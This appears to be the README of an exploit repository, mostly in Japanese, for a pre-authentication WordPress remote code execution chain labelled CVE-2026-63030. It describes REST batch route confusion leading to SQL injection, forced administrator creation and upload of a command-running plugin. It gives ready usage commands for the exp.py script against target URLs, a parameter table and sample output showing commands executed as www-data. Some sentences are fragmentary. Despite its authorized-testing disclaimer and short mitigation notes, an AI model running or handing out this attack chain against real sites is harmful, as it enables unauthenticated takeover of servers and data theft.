
WordPress 未認証RCE EXP | CVE-2026-63030
WordPress REST API の batch ルート混乱 + SQL インジェクション により、未認証での管理者作成 → リモートコード実行 を引き起こす完全な攻撃チェーン PoC。
認可されたセキュリティテスト、脆弱性の再現、研究目的にのみ使用してください。未認可のターゲットへの使用は禁止です。
| 項目 | 説明 |
|---|
| CVE | CVE-2026-63030 |
| コンポーネント | WordPress Core REST API (/batch/v1) |
| 影響を受けるバージョン | WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1(公式アナウンスに準拠) |
| 攻撃の前提条件 | 対象が REST API batch を有効にしていること。サイトに公開済みの投稿またはページが少なくとも 1 件あること |
| 必要な権限 | ログイン不要(Pre-Auth) |
| 影響 | 管理者アカウントを作成し、さらにプラグインをアップロードして RCE を実現可能 |
REST batch 路由混淆
→ author__not_in SQL 注入
→ UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
→ Customizer 发布时切换为已有管理员上下文
→ REST /wp/v2/users 创建新管理员
→ 后台上传一次性插件
→ 执行系统命令
核心は「スタック型クエリによるデータベース書き込み」ではなく、以下のとおりです:
serve_batch_request_v1() の検証段階とスケジューリング段階で $matches / $validation のインデックスが同期せず、ルート混乱(route confusion) を引き起こします。author_exclude が WP_Query の author__not_in に入り、NOT IN (...) に連結されて SQL インジェクション を形成します。UNION SELECT で完全な wp_posts 行を偽造し、oEmbed / Customizer のロジックをトリガーして、現在のユーザーコンテキストを既存の管理者に切り替えます。proc_open / passthru / system / shell_exec / exec / popen のいずれか)disable_functions ですべてのコマンド実行関数が無効化されている場合でも、管理者の作成は成功しますが、RCE フェーズは失敗しますCVE-2026-63030/
├── exp.py # 完整利用脚本(单文件,零依赖)
└── README.md # 本说明
id を実行)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
| パラメータ | 必須 | デフォルト値 | 説明 |
|---|---|---|---|
--url | はい | なし | 対象 WordPress のルート URL |
--username | いいえ | wp2_<hex> | 作成する管理者のユーザー名 |
--password | いいえ | Wp2!<random> | 作成する管理者のパスワード |
--email | いいえ | <username>@wp2shell.invalid | 作成する管理者のメールアドレス |
--command / -c | いいえ | id | ワンショットプラグインで実行するコマンド |
--timeout | いいえ | 60 | 1 回の HTTP タイムアウト(秒) |
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
スクリプトは終了後に以下を試みます:
途中で失敗した場合は、出力に含まれるアカウントとパスワードを使用して手動でクリーンアップしてください。
has been disabled for security reasons が表示された場合、disable_functions によって対応する関数が無効化されていることを意味します。PoC は複数の実行方法を順番に試します。すべて無効化されている場合、RCE は利用できませんが、管理者作成フェーズは成功する可能性があります。wp-admin/users.php と wp-content/plugins/ を手動で確認してください。/batch/v1 への未認証アクセスを一時的に制限するdisable_functions と最小権限の Web ユーザー設定を維持し、RCE の影響を低減する本リポジトリ内のコードは、セキュリティ研究および認可された脆弱性の再現にのみ使用されます。利用者は、現地の法令および対象システムの認可範囲を遵守することを自己の責任で確認する必要があります。作者は、いかなる悪用行為に対しても責任を負いません。